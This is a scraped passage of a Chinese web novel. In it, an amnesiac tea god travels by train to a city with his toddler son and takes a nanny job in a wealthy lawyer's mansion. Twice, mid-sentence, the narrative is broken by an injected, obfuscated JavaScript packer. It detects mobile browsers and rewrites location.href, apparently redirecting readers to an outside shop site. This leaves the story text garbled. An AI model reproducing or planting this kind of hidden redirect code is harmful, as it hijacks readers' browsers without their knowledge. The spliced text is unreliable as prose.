《大美人带崽进城务工》 1. 第 1 章 [贺律师,我们也是老朋友了,江岸集团和茶园的土地纠纷……] [无可奉告。] 山崖之上,深蓝西装的英俊青年挂断电话,最后看一眼山峰间的云雾,转身欲走,突然,一股推力从身后袭来。 砰—— 青年的身体狠狠砸进茶树坡里,被繁密的枝叶严严实实覆盖住,额头的鲜血蜿蜒流下,渗进了岩石的缝隙,渗透茶树脚下的一片泥土,嘴唇因失血渐渐发白。 忽地,青山绿水间腾起一阵雾气,一名长衫青年赤着脚行走在田野间,他长发袅袅,用一枚茶叶别在耳后。青年拨开枝叶,弯腰抱起了昏迷的男人,轻轻将手指印在了男人的伤口处。 流血顿止。 …… 惊蛰,武夷。 每逢惊蛰,开山祭茶。沐浴捧香,祭拜茶神,对着大山呼喊:“请发芽!请发芽!” 今年春色好,茶树请发芽;老树焕新枝,风顺且雨调。 山脚的一座小土楼前,太阳懒洋洋地照着,一名蓝衣蓝裤的青年搬出来一个竹制提篮,里面侧躺着一只小小的宝宝,脸蛋压着荞麦枕头,像软软弹弹的小年糕,侧看睫毛又长又翘,正呼呼大睡。 青年名叫白清语,是此间此世的茶神,他掀开小被子,让暖烘烘的阳光轻而易举照着小宝宝的脸颊和屁股。 这是他的儿子白小茶。 茶神幼崽长得比人类慢,两岁了每天还要花很多时间睡觉,需要很多很多的阳光。 神法没落,到了他这一代,神力不足以维持他一直呆在神境里如浮云端,须得偶尔在人间过活。 白清语和幼崽借住在世代信仰茶神的老伯家里,每一代茶神在人间生活都有一个接引者,这一代的接引者邓老伯,没有孩子,年过花甲,家徒四壁,还得白清语来照顾他。 白清语一边晒娃,一边坐在门槛上嗑瓜子。 耳朵不好的邓伯大声地喊:“外边祭茶神你不去看看吗?” 白清语大声地回复:“不去了。” 年年都来一遍,没什么好看的。而且他已经发芽了。 白清语晒好儿子,拎回屋里,迫不及待地和邓老伯并排坐在长凳上,聚精会神地观看年代剧。 电视放得比较大声,吵醒了提篮里的茶宝宝,他睁开圆溜溜的眼睛,手指抓着篮子边缘,看了一眼电视,又看看爷爷和爸爸,坐在篮子里自娱自乐地玩起脚丫子。 白清语分出一点余光给儿子,“宝宝,你要不要过来抱抱?” “要抱抱!”白小茶积极响应。 白清语抱着儿子看电视,年代剧里,继父老王和亲爹老孙正在争夺孩子的抚养权,白清语低头看了一眼乖巧可爱的儿子。 神很高傲,神一旦怀上普通人的孩子,母体就会自发抹除关于孩子他爹的记忆,斩断和凡人的关联。神的继承人不需要另一个爹。 这是上古大神定下来的神操作了,于是白清语现在是一个失忆的、穷困潦倒的小茶神,法力接近于无,而普通人发明出了网络、潜艇、飞机,生活赛神仙。 对于那些高科技的东西,白清语只隐隐约约从村民口中听说过,令人目眩神迷的世界,邓伯不感兴趣,他也不感兴趣,他每天最大的兴趣就是陪邓伯一起看上世纪的电视剧。 电视上,抚养权口水战十分激烈,当事崽的妈妈终于出现,孩子从两个男人的争夺里挣脱,乳燕投林奔向妈妈的怀抱。妈妈拿出了一块花生酥给可怜的孩子。 白小茶圆溜溜的眼儿盯着电视:“爸爸,我有妈妈吗?” 白清语并不知自己自动丧失记忆的事,尴尬地挠挠脑袋:“不知道欸。” 得不到答案的白小茶并不在意,身体微微前倾,握拳抓了一把空气塞进嘴里,假装自己也吃到了花生酥。 傻气又可爱。 “清语!清语!”二十来岁的姑娘抱着一个两岁的小男孩,一进来看见电视上放映的节目,无语地问白清语,“你怎么还在看这个剧啊?你都看十遍了吧?” 白清语对张秀娟道:“因为好看。” 张秀娟大前年嫁到城里去了,丈夫是英语老师,婚后经常回娘家小住,乡下有场地给孩子撒欢。 恰逢白清语的法力无法继续维持神境的存在,只能带崽出来,在邓伯家里生活,两人年纪相仿,同样带孩子,一来二去就熟悉了。 张秀娟笑眯眯地勾了勾白清语宝宝的小拳头,这孩子没喝奶水,小白也没钱买奶粉,长到现在真不容易,但样貌好极了,而白清语长得平平无奇、老实巴交,说是基因彩票也不为过。 张秀娟摇摇儿子的手:“来,儿子,跟白叔叔打个招呼。” 小男孩张嘴就道:“Uncle 。” 张秀娟:“叫叔叔好。” 小男孩:“Uncle好。” 邓伯倒了一杯水给小朋友:“城里生活过的就是不一样,还会英语呢。” 小男孩:“Thankyou,杯子是cup茶是tea,我还有英文名Mike。” 邓伯被逗笑了。 小男孩盯着白小茶:“弟弟有英文名吗?” 张秀娟略微尴尬,她知道白清语没怎么上过学,更不会给孩子取什么英文名,正要打圆场,就听白清语道:“有哦,他叫tea宝。” 小男孩似懂非懂地点点头:“Teabao弟弟。” 张秀娟是来跟白清语辞别的:“我准备把儿子送进幼儿园,下午就走了。” 白清语疑惑:“人类两岁就读幼儿园吗?” “城里都这么早,我本来想再玩一年,但他爸说从托班开始读,晚一点就跟不上,暑假也得送去学一门乐器和运动,两岁正是发掘天赋的年纪。” 张秀娟道:“现在的教育太卷了,你有机会还是得送孩子去城里上幼儿园,咱自己农村出身,得努努力给孩子一个城市起点。” 白清语若有所思:“城里真那么好?” 张秀娟:“对啊对啊,教育还得从娃娃抓起,两岁正是关键时刻,送到学校里培养培养,好的习惯影响一生,能不能考上大学就靠这一年了。你知道张瓦子的大孙子吗,过年时候还只会跟在大黄后面捡狗屎,去城里上了三个月幼儿园,昨天我给他一块饼干他还知道先洗手了。” 白清语回忆起那个手脚总是黑得像挖煤的小胖子,那变化可真大啊,幼儿园这么神奇? 张秀娟原本跟白清语一样是放羊派,她突然转变观念,把白清语的观念都带变了。 白清语:“考大学很重要?” 张秀娟:“当然,考上大学之前最重要的任务就是考大学。” 白清语心想刚看过的电视剧,剧情点是恢复高考,主角破除万难也要去考试,最后确实过上了很好的生活。 在神力式微的现代,顶多用法力来解决一点小麻烦,却不能用来赚钱。 他们不能一直呆在神境里,茶宝宝要想一辈子过得好,用上人类的高科技,就不能一直待在乡下放羊。 另一方面,茶园中的茶树生长三十年之后,土壤中的肥力就会消耗颇多,产出的茶叶品质便不如新茶树肥厚鲜嫩。按照这个道理,他应该带白小茶转换地方,去其他名茶产区走一走。 白清语开始认真考虑把儿子送去城里读幼儿园,好让他能上个大学找到工作,以后过上普通人的好日子。 说干就干,白清语和邓伯一起观看了一部讲诉进城务工的电视剧。 他总结了主要几点: 一,这部剧里的大家都去南城打工,是一线城市。 二,绿皮火车对农民工比较友好,儿童免票。 三,他要找到劳动力市场,那里有很多招工的老板。 四,不要文凭的工作有保姆、环卫工、清洁工、保安、厨师等等。 这些他都可以胜任。 白清语觉得自己一定干得很好,城里来钱快:“邓伯,等我赚到钱了,就回来建大房子。” 邓伯:“我可等着了。” 邓伯倒是不担心茶神会在城里受欺负,大小是个神仙,打不过还不会遁地吗?他回到屋里掀开床上的草席,拿出他和茶神一起做叠纸箱计件赚的钱,对着光数了数,现金还有两千多,“去南城是吧,我找老王他儿媳妇帮你手机上买个票。” 邓伯数了一千块钱揣进兜里,出门去了。 半小时后,邓伯溜达着回来,“这是王师傅儿媳的二手手机,才三百块钱,你揣一把,可以给我打电话。” 白清语第一次接触智能手机,办了电话卡,给邓伯的老人机打了一个电话,完全没问题。 他在这研究智能机的功能,上面有很多好用的软件,而邓伯忙活准备进城务工的铺盖。 邓伯把攒着的鸡蛋,用食用油桶子装上,铺一层大米,再铺一层鸡蛋,“小宝要每天吃一个,你记着咯。” 白清语一口答应:“一个都不会少。” 三日后,白清语提着大包小包,背着白小茶,乘坐一辆顺路皮卡,前往火车站。 “大包小包都要过安检,大包小包都要过安检……”车站入口的喇叭不断地提示乘客。 白清语看见大家都把身上的包拿下来放在履带上,便顺从地排在最末,把一桶鸡蛋、一包被褥放上去,然后又将背上的背篓取下来,端正放置。 工作人员刚要协助他摆正背篓,看清里面的东西,眼皮一抖,连忙把整个背篓抱起来,心有余悸:“孩子不用过安检!” 这一声把周围人的视线都吸引过来,踮起脚尖看,只见竹制背篓里面铺着一团软软的被单,一个宝宝靠坐在里面睡觉。 群众一下子炸开地讨论。 “里面是孩子?” “我以为这里面是土特产呢!” “怎么当爸的,这是你的孩子吗?小孩子最怕辐射了。” 白清语百口莫辩,犯了大错一般拘谨地双手交扣。白小茶不能算土特产吗,可是前面那个带着一棵带土茶树苗的不是也要过安检?白小茶也是茶树苗啊。 这就是人类的特权吗?是哦,二分之一白小茶也是人类,不用过传送带。 工作人眼看看沉睡的孩子,警惕地瞥着白清语:“这是你的孩子?” 白清语点点头,他掏出自己的户口本和身份证:“我的。” 他上的是邓伯的户口本,爷孙三代,白小茶户口本上的年纪才一岁半。 树苗前期抽条比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650390|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较慢,白小茶尤其慢,两岁半了个子小小的,说话慢慢的,白清语只能在身份证上给他填个一岁,免得被警察怀疑他虐待小孩。 为了不在人间引人注目,白清语稍稍改变了自己的容貌,将匀润绮丽的五官变得普通而扁平,肤色也深了一些,他法力有限,只能改头换面到脖子以上,脖子以下反正也不能描述。 这样去找工作才不会被骗去夜总会,但也有点麻烦,父子容貌差距大,容易被人怀疑他拐带小孩。 邓伯早有准备,在家时就让他用手机拍了很多和白小茶的照片,父子俩开开心心地抱在一起晒太阳。 工作人员查看了手机里的照片,看见照片背景是一栋破落的土房子,再看看白清语身上的布衣布裤,像是传了三代的旧衣服,脚上一双军绿的解放鞋,浑身上下贴满了“第一次进城”的标志,恍然间明白了什么,道:“第一次过安检?以后记得不要把孩子放在履带上,危险。” 白清语双手抱回自己的背篓,老老实实地接受教育:“我知道错了。” 这一通意外,把白小茶吵醒,小崽子双手扒着篓筐,篓筐前面有个巴掌大的缝隙,供他观察外面。白小茶把上半张脸贴近缝隙,眨巴眼睛看着制服工作人员,为爸爸求情。 “爸爸知道错了,不要抓我爸爸。” 白小茶可怜巴巴地重复爸爸的话。邓爷爷说了,爸爸变了样子,变得不起眼,说话容易被忽略,当爸爸有搞不定的事情,或者作为大人不好意思说出口的事情,宝宝要当爸爸的复读机。 “阿姨,我爸爸知道错了。”复读机宝宝的声音又慢又软,更加奶气和诚挚。 父子俩一同露出“已老实”的表情,神情相似度达到90%,弥补了外表上的不像,一看就是亲父子。 工作人员瞬间被水灵灵的小崽子暴击,心软地说:“快进去吧。” 热心群众道:“跟我走,我带你去检票口。” 白清语背上宝宝,左手拎着土鸡蛋,右手夹着被褥,“谢谢你。” 坐绿皮卧铺前往南城的人,不少像白清语这样大包小包,没有时尚行李箱,红色水桶和蛇皮袋较为常见。白清语坐在中间并不突兀,一旁的大姐见孩子可爱,送给白小茶两颗大枇杷。 “姨姨真好。”白小茶在筐里软慢地说。 “啊,你才一岁吧,就说话这么伶俐,好聪明的宝贝。” 白清语心虚地揉揉白小茶的脑袋,呃,其实两周岁了啊。 动车站随处可见武夷岩茶的广告,大红袍、水仙、肉桂。 [丹山碧水,岩骨花香]。 “爸爸,这个是什么?”白小茶今天看到好多次这句话了。 岩骨花香是形容岩茶喝起来有岩韵和兰桂芬香,白清语下巴依着儿子的脑袋,胡诌道:“意思是我们骨头很硬,身体很香。” 白小茶用力捏了捏自己藕节般的手臂,捏进去一个坑,很确定地说:“骨头硬硬!” 邓伯请人买的票很有水平,前三个小时是火车硬座,后十个小时是硬卧下铺,最后三个小时又是硬座,最大限度地节省车费。 白清语把白小茶抱出来,把被褥和鸡蛋装进背篓里,放在车厢前面的角落里。 白清语买到了靠窗,抱着儿子在窗口看风景。 隔壁车厢有小孩撕心裂肺地大哭,小孩子哭嚎有连锁反应,跟白清语同车的乘客揪心地盯着白小茶,生怕他被带哭。但白小茶不为所动,仿佛没听见。 江南多丘陵,火车穿越隧道,乍明乍暗,白小茶站在爸爸大腿上,脸颊贴靠窗户,像隔着玻璃看鱼的猫崽,轻悄悄的说:“爸爸,天黑了。” 白清语:“嗯,天黑了。” 天黑透透的,茶宝宝闭上眼睛,不一会儿,眼前闪过明光。 “爸爸,天亮了!” 天亮了,茶宝宝要晒太阳,黑葡萄似的眼珠盛着骄阳的光辉。 天反反复复明灭,茶宝宝晕头转向地倒在爸爸怀里,太阳公公怎么上班的?在骗宝宝吗? 白清语拍拍小崽子的后背,白小茶在与太阳公公的游戏里,渐渐涌上困意,眼睛闭上。 “啊,这就睡了?”乘客轻声地惊叹,睡眠也太好了。 “是的——” 白清语正要给白小茶盖上外套,火车上售卖食物的声音从隔壁车厢传来。 “瓜子饮料矿泉水——” “奶贝,呼伦贝尔大草原的奶贝免费品尝——” 白小茶的困意像麻雀一样扑棱棱飞走,他从爸爸怀里坐起来,但不出声,缓缓地眨了眨眼皮。 奶贝?奶贝是什么? “是免费的吗?”白清语疑惑地嘟囔一声,打开浏览器,输入“火车上的奶贝是免费的吗”,最近他在浏览器里搜索了几百条进城小知识,打字越来越熟练。 [回答:不是免费的,是乘务员在推销,不过可以举手免费品尝一颗,可以不买。] 动作间,乘务员拿着一袋奶贝走过来,白清语还没想好自己不买该不该品尝,他怀里的小崽子,就把他的话学了去。 “叔叔,是免费的嘛?” 白小茶仰着脑袋,圆溜溜的眼睛盛满一名人类幼崽所能有的全部关切。 2. 第 2 章 有崽子主动互动,很好,乘务员一下子被这一声吸引,粗略一看,是一个带孩子的老实人爸爸。 很容易推销——乘务员看见白清语的第一反应。 但当他走近,才发现互动的幼崽实在太小只,大人不一定愿意给吃零嘴,同时也意识到这对父子生活上的拮据,衣服洗得发白,全是上世纪的款式,这种情况下一个劲地利用孩子的馋嘴兜售会令人感到罪恶,乘务员笑容不变道:“可以免费品尝噢,好吃了再买。” 他掏出一颗奶贝,放在白小茶手里,“叔叔送你的。” 白小茶眼睛一亮,手指蜷起勾住奶贝:“谢谢叔叔。” “不哭不闹的小朋友真棒,再奖励一颗。” “噢?!”不哭还有奖励?白小茶微微张大嘴巴,好像被多出来的一颗糖甜晕乎了,连自己也变得像一颗柔软的奶糖。 “唉,真可爱。”乘务员一边感叹一边前往下一个车厢。 白清语:“谢谢。” “谢谢叔叔——”白小茶站在白清语腿上,扒着靠背目送,然后坐下来,张开小小的手掌,一边一颗,他左右看了看,都一样大,“爸爸要哪一颗?” 白清语拿了左边那颗,撕开给白小茶。 白小茶含着奶贝,又看了一会儿窗外,倒在爸爸怀里睡着了。 正好是硬座换硬卧的时间点,白清语背起背篓,抱着崽儿,缓慢移动了几个车厢,找到卧铺的位置,把睡着的白小茶放在下铺。 小小一团靠在角落里,下铺再坐两个大人还有余。 白清语从背篓了拿出勾了半只的毛线鞋,比白小茶现在的脚丫尺寸稍大一些,今年冬天正好能穿。 这是他新学的技术,勾得比较慢。 对面床的阿姨看了一会儿,搓了搓手,道:“我帮你吧,正好有点手痒,我啥图案都会勾。” 白清语一愣,把钩针递给她:“谢谢姐姐。” 他带了两只钩针,一人勾一只鞋子正好。 两人闷头做手工,入夜时,白小茶宝宝已经拥有了一双棉鞋,白小茶中途一直没醒过,白清语也没给他喂过吃的,就又到了翌日换车厢的时候了。 上铺的大哥一上车就躺着刷短视频,睡前下来上个厕所,目光扫过下铺的小孩子,皱了皱眉,内心抗拒地戴上耳机调高音量,他可不想听到小孩的尖叫。 火车哐当哐当地响了一夜,上铺大哥睡眠不好,悬着心等着下面的小孩子哭闹,结果等了一夜也没等到,反而是其他人清清爽爽收拾东西,显示着他的杞人忧天。 恰此时,跟白清语一起钩针的对床大姐道:“你要下车了嘛?” 白清语:“再过一小时我换硬座,还有三站。” 对床大姐道:“那你把孩子叫醒喂点奶再过去,咱这卧铺空间大,你去泡奶,我给你看着会儿。” “呃……”白清语卡住了,因为白小茶就没喝过奶,他含糊地说:“出门匆忙,忘记带奶粉了,没事,我下车了喂。” 原则上,茶神幼崽靠阳光雨露就能活,只是长得慢,想要身体长得快一点,就得吃人类的食物,但有吃喝就有拉撒,在火车上不吃不喝只晒太阳为上上策。 “下车还有三小时呢。”对床大姐:“孩子该饿坏了,你这可粗心的哦,怎么跟你媳妇交代,快去餐车买瓶纯牛奶用开水烫一下。” 白清语为难,倒不是心疼钱,他怕白小茶喝了奶尿床,火车又不是自家的床。他装模做样推了推白小茶,“宝宝,醒醒。” 白小茶没醒,白清语无辜地对大姐说:“睡得太熟了,叫醒了会哭。” 操……上铺大哥太阳穴一紧,刚刷过的拐卖短视频立刻浮现眼前。 这小孩一看就没有吃过苦,白白净净,脸蛋嫩得能掐出奶,长得跟“他爸”完全不一样,十几个小时没醒没喂奶,这么糙养能养出精致的宝宝? 大哥仗着自己体型比白清语壮1.5倍,直言不讳:“是睡太熟还是你给他喂了安眠药?这是你的孩子吗?” 白清语一愣,安眠药,他在电视上看过,他没有这东西,解释道:“我没有给他喂药,他就是爱睡觉。” 大哥:“那你叫醒他。” 白清语:“会吵到大家。” 大哥:“我不怕吵,你就证明一下你没给他喂安眠药。” 对床大姐帮白清语解释:“是不是误会了,小年轻一看就是老实人。” 大哥:“就是这种放在人群里不起眼的人才适合当人贩子。” 早上六点三十,乘务员一节一节车厢巡逻叫醒即将下车的乘客,听到争执和关键词,让白清语出示身份证。 安检口一幕重演,白清语再次证明自己的身份。 乘务员:“是人家的孩子。” 虽然误会解除,但大家一致认为,白清语仍然应该把孩子叫醒喂奶。 乘务员说:“卧铺确实方便一点。” 上铺大哥看完白清语手机里的照片,他好像无意中挑破了这对父子的窘迫,老实爸爸可能是没钱买火车上的牛奶,才含糊其辞。大哥从包里拿出一盒牛奶,“对不起,是我误会了。” 白清语心想白小茶还没睡够不会醒的,但盛情难却,只能在白小茶耳边打了个响指,“醒一醒。” 一分钟后,白小茶吸着牛奶,吸一口,暂停,把牛奶盒放在两张床中间的桌子上,撑着手探出脑袋,使劲仰头对上铺大哥道,“谢谢叔叔。” 再吸一口,又说:“谢谢叔叔。” 上铺大哥一低头就看见幼崽努力投来的星星眼,越发笃定白小茶饿狠了,“再苦不能苦孩子。” 白清语:“大哥说得对。” 白小茶晃了晃牛奶盒,还剩下半瓶,他举到爸爸面前:“爸爸喝。” 父子俩都没进食,白清语当茶神的时间比较久,可吃可不吃,但白小茶出生后就被带到人间,跟着邓伯吃住,是个嘴馋宝宝,对食物来者不拒。 白清语假装吸了一口,把吸管转向白小茶:“一人一口。” 白小茶觉得这瓶牛奶好多噢,他肚子都喝得鼓起来了。 上铺大哥暗中观察,愈发惭愧,穷成这样还把孩子养得礼貌乖巧,他指责白清语的时候有点何不食肉糜了。 他想起自家的孩子,得,还没一岁半的懂事,只会索要肯老头,别人家的孩子一瓶牛奶的恩惠就能反馈满满的情绪价值。 白小茶喝饱了,小小一团坐在下铺的夹角,把棉鞋当毛绒玩偶一样捧着玩,贴贴左边的脸蛋,又贴贴右边的脸蛋。 白清语买的毛线软毛带绒,手感很好。 对床大姐又心疼了,“你住哪?给我个地址,我回头把我孙子的玩具给你寄过来,他十岁了都不玩了,可新了。” 白清语:“谢谢,您不用给他玩具,我到了南城再租房,会给他买的。” “那你留个联系方式,先找房子。” 白清语分外感激,他也没啥能送的出手的,在外面要知恩图报,神更应该大方,白清语想了想,把白小茶的口粮——一桶土鸡蛋,送给大哥大姐。 上铺大哥说自己去出差,没条件煮鸡蛋。 白清语看着对床大姐。大姐爱唠嗑,说过此程是回家的路,可没有理由拒绝了。 “唉,你留着自己吃。” “一点心意,是我自己养的走地鸡下蛋,很香。”白清语准备有条件的话在城里养鸡下蛋给白小茶吃。 “——好吧。” …… 翌日早上十点,火车抵达终点,白清语背着儿子顺着查好的地图,往招工市场的方向走。 “爸爸,看。”白小茶玩着玩着,突然从棉鞋里掏出了两张红票票,这个鞋子会变钱! 白清语一愣,才反应过来,应该是热心大姐勾完鞋子塞进去的,给白小茶的红包。 世界上好人这么多。 白清语道:“是阿姨给你的,藏好,以后给你买吃的。” “好哦。”白小茶听话地把钱塞回鞋子里,塞到最里面不会丢。 白清语调整了下背篓的绳子,目光突然被配电箱上面的租房小广告吸引。 [近地铁、两房一厅、整租9000][罗马小区单间2600][地下室10平超大空间800][转租一室一厅3000]…… 好、好贵!不愧是一线大城市! 在他们村里,两百块就能租到带院子的小房子了! 白清语摸了摸兜里的钱,他好像只住得起地下室,这可不行,小茶茶会长不高的。他的小宝宝长得慢,要选一处采光事宜的住处,经常照太阳才能健康长大。 说起来他并不一定要租房子,他可以去住公园,吸收日月精华,就是下雨水泡久了会生病,或者是住桥洞? 白清语调整背带,平静地从租房小广告上收回目光,他现在的目标是找一个包住的工作了。 白清语三天前就通过南城电视台做好功课才来的,火车站出来往东一公里的市场,南城市琉青区牵头联办招聘会,主要针对就业困难特殊人群和刚进城的农民工。 白清语辎重多,不好挤进去,就站在外围先观察。 这时,一个大约三十五上下的职业女性,胸口别着一枚铭牌,身后跟着一名助理,两人朝着白清语的方向走来。 “要关注特殊人群的困难,恰当指引——”女子脚步一顿。 “区长?”助理随着上司贺映女士的视线望过去,看见一个踟蹰不前的老实人,他身上的蓝衣布料、脚上的解放鞋和大都市格格不入,面对人来人往的招聘现场眼神迷茫,手指紧张地摩梭着背篓的带子。 助理想到上司的话,主动上前询问:“您好,有什么需要帮助的吗?” 白清语:“您好,我是来找工作的。” 助理朝左侧的“就业咨询处”指了指,“如果您还没有明确规划,可以过去找专家咨询就业方向。” 白清语抓着背篓带:“好的,谢谢。” “谢谢姐姐。”白小茶从背篓缝隙里观察外面,方向不对他看不见人影,于是跟着爸爸奶声奶气地重复。 助理一惊:“你背篓里有孩子?” 白清语:“嗯,我得一边打工一边带孩子。” “啊这……”助理面露为难,这样可就难找工作了。 白小茶把软垫被子都堆在脚底下垫高,用力扒拉,终于脑袋冒出筐的边缘,鬼鬼祟祟地顶开遮阳布,露出半张脸——他不需要遮阳,但是白清语怕自己一天被查三次身份证,耽误找工作。 贺映不经意瞥去一眼 ,目光一顿,这孩子……这孩子的上半张脸她怎么觉得有点眼熟。 白小茶脚趾用力勾住竹条一蹬,把整张脸露了出来,被篷布盖着实在太无聊了,他就像一只试图钻出壳的小蜗牛。 贺映目光定在他脸上——上半张脸很熟悉,但脸颊两团圆润的婴儿肥,把熟悉感冲淡了一些。 助理对白清语道:“你这么年轻,把孩子送托班的话,工作还是很好找的。” 贺映瞥了一眼助理,你知道南城的托班要多少钱吗? 贺映问白清语:“你高中毕业了吗?会什么?” “保姆?环卫工?园丁?厨师,洗盘子……”白清语说出一连串富有竞争力的职业,他体力很好的,一定能干得很好。 至于学历,白清语有些惭愧,茶神没有上过学,只在神境里读书识字,靠跟邓伯看电视剧了解人类世界。 “没有读过书……不过我识字,还会用智能机。”白清语不卑不亢地说。 下雨了还知道往家里跑是吧……助理抿了抿嘴唇掩饰惊讶,这个年纪还能漏掉九年义务教育实属少见。年纪不大的单身父亲……看着像偏远山区来的,刚经历过一轮精准扶贫,被|干部扶起了志气,终于愿意进城谋生。 贺映又看了一眼白小茶,她和这个孩子实在有眼缘,能帮一把就帮一把:“孩子爱哭吗?” 白清语:“他不哭的。” “如果你愿意当保姆,我可以给你介绍一个包吃包住的工作,雇主一般不在家,平时很闲。” 白清语这一路遇到的好心人太多了,他丝毫没想过被坑的可能性:“我愿意!我吃饭少,睡觉少,体力好,一定让雇主满意。” 贺映:“雇主脾气不好,你和孩子躲着他走,可以多领几个月工资。要是不满他那狗脾气,你随时可以离职。” 白清语:“没事,我脾气好。” 贺映:“妥,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650391|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么安排吧。我会给管家打电话,你按照上面的地址去就行了。林秘,带他去路口坐505公交。” 等白清语走后,贺映想着那个孩子的脸,给自己侄子的管家打电话:“我介绍个人来当保姆。” 管家提前问:“这回的人有什么问题?”这位姑奶奶专管扶贫,找不到工作的残障人士,人品好的就随手介绍给贺少当保姆,包吃包住五险一金,反正贺少工作狂一般不在家,就是充个人气的作用。 贺映:“没什么问题。” 管家心里一松,刚想委以重任,就听姑奶奶闲闲地道,“他带着个孩子,你给他安排一间离贺任沅房间远的卧室,别让贺任沅发现了。” 管家:??? 谁不知道贺少不喜欢小孩子这种游离在法条之外的生物啊!贺任沅偏好规则和秩序,人类幼崽既逃脱法律规则,又没有生活秩序。 管家小心翼翼地问:“是您的朋友吗?” 贺映:“不是,招聘会上遇见的,他带着孩子不好找工作。” “那被贺先生发现了呢?” 贺映:“发现就只能走人了。我就是看那个孩子可怜,给他提供一个暂时落脚的地方,你帮着掩护掩护。” 管家:“行。反正贺先生天天不着家,估计过上几个月才会发现。” 一个半小时后。 管家看着从七十年代走出来的白清语,和他背后过于可爱的幼崽,一拍大腿,错,他想错了,大错特错。 这不怪贺映这个当姑姑的觉得孩子可怜啊,这孩子眉眼不是他家少爷的幼年翻版吗?贺映看着贺任沅长大的,可不得善心大发。 “像,五分像,不,七分像……” 相逢既是缘,看这么个孩子在外面吃苦确实挺不忍心的。 而放在家里就不一样了,隐约中还有种少爷成家的圆满感。不然这家只有管家和保姆自娱自乐,贺任沅又不在家,工资拿得怪心虚的。 “白先生,你跟我过来。”管家笑眯眯地说,“可以把孩子放下来,会走路吗?” “他会。” 白清语把背篓放在地上,抱出白小茶。 白小茶一直在背篓里坐井观天,此时视野全开,抱着爸爸的小腿打量周遭。 好白的墙壁,好滑的地板。 [像,这眼神的灵动劲儿,早慧。]管家齐云心想。 白清语道:“茶宝,这是管家爷爷。” “管-家-爷-爷。”白小茶仰着圆圆的脑袋,慢吞吞地喊。 [说话时就不像少爷了。]管家心想,贺任沅能言善辩,自小讲话就快,前几年律师从业时一张嘴更是毒舌得厉害,气势骇人,辩得对方无地自容。不过这三年变得沉默寡言了,常常看见他一个人静默着出神。 白清语:“我叫白清语,这是我的身份证。他叫白小茶,茶宝,茶叶的茶。” [茶?贺先生最喜欢喝茶了,地下室就是个茶叶仓库。] 管家道,“来,这是你的房间,窗户是双层隔音的,跟孩子玩时最好把门窗都关紧。” “等等,我再想想。”管家皱眉,这间房虽然跟少爷的房间呈对角线,但一层二层贺任沅都会经过,只有三层客房他从来不去。如果把白清语安排在三楼,就算茶宝一不留神跑出来,在客厅活动,也不怕被撞见。 这栋豪宅,贺任沅住二楼,管家保姆住一楼,三楼按理说只有贺任沅发话才能住人。齐云犹豫了一秒,不管了,反正贺映姑奶奶让他掩护,就掩着呗。 “清语,你介意住三楼吗?” 白清语:“都可以。” 齐管家给白清语安排了一间有东向阳台的客卧,房间很大,该有的家具都有,只是床上没有床垫。 管家解释道:“少爷从不带客人回家,客房一直闲置,床垫收起来了,就在隔壁,待会儿找个人搭把手搬过来。” “谢谢齐叔,我习惯睡硬床,不麻烦了。”白清语自己带了被褥,铺上去后整个房间的现代化程度瞬间倒退了几十年。 齐云眼角抽了抽,道:“贺先生经常住公司,一个月才回来住一晚,他回来你就带孩子早早睡觉,相安无事。” 白清语:“齐管家,我的工作内容是什么?” 齐云顿了一下,其实他们平时事情不多,不过嘛,豪宅应有的标配不能少,他们重要的事情就是维护豪宅和花园。 “你平时就给花园除除草,打扫三楼的客房做到一尘不染,有客人随时可以入住。” 白清语:“明白。” 此地似乎没有管家什么事了,齐云踱了两步,终于从兜里掏出“顺手”携带的大面包盒子,递给白小茶,再云淡风轻地说:“今天先安顿好自己,饭点下来吃饭。” 白小茶抱着大面包,嘴里发出惊叹。 管家有一瞬间觉得自己年轻了二十岁,面对的是小少爷。 …… 白清语第一天上岗,打算好好表现,把面包掰给儿子吃,道:“我要去上班干活,你在屋里晒太阳睡觉好不好呀?” 白小茶埋进软乎乎的面包吸了一口,“好噢。” “爸爸,我要喝水。”他已经是个懂事的小孩子了,吃面包记得配水喝。 白清语给他喂完水,从背篓里翻出一片尿布,白小茶醒着的时候会表达上厕所的意愿,睡觉就不好说了,因此白清语都会给他垫个尿布,尤其是睡前喝过水。 尿布是用两层纯棉布料缝合一层薄薄的白棉花,可以重复利用。 他不喜欢纸尿裤。 曾经有缺德游客从山崖上扔下一包用过的纸尿裤,堆在崖壁的茶树丛底下,过好几年了还没分解。白清语相当嫌弃,不得已变成人把它铲走。 尿布好,纯棉,易分解。 白清语坐在地上,把装被褥的软藤包拆开,重新编织成敞口的椭圆形篮子。 白小茶坐在他对面专注啃面包,动作仿佛慢放一样,不紧不慢,确保每一口都能精准送到嘴里,不浪费一点面包上的奶油。 白清语忽然出神地看了一会儿白小茶,拍了拍脑袋,总觉得之前从山崖上掉下来的不仅是纸尿裤,还有个什么…… 肯定还有别的难处理的垃圾,也费了他很多力气。 3. 第 3 章 白小茶吃了一半面包,剩下的该给爸爸了,不过面包真是太好吃了,他捧起包装盒,努力舔了舔盖子上的面包奶油。 舌尖舔到了,睫毛和脸蛋也舔到了,像雪花落在脸上一样,随着睫毛忽闪忽闪上下翻飞。 白清语看着儿子恍然大悟,可能掉下来的还有一次性塑料饭盒。 他也不喜欢一次性塑料制品。他带了两副木质碗筷进城。 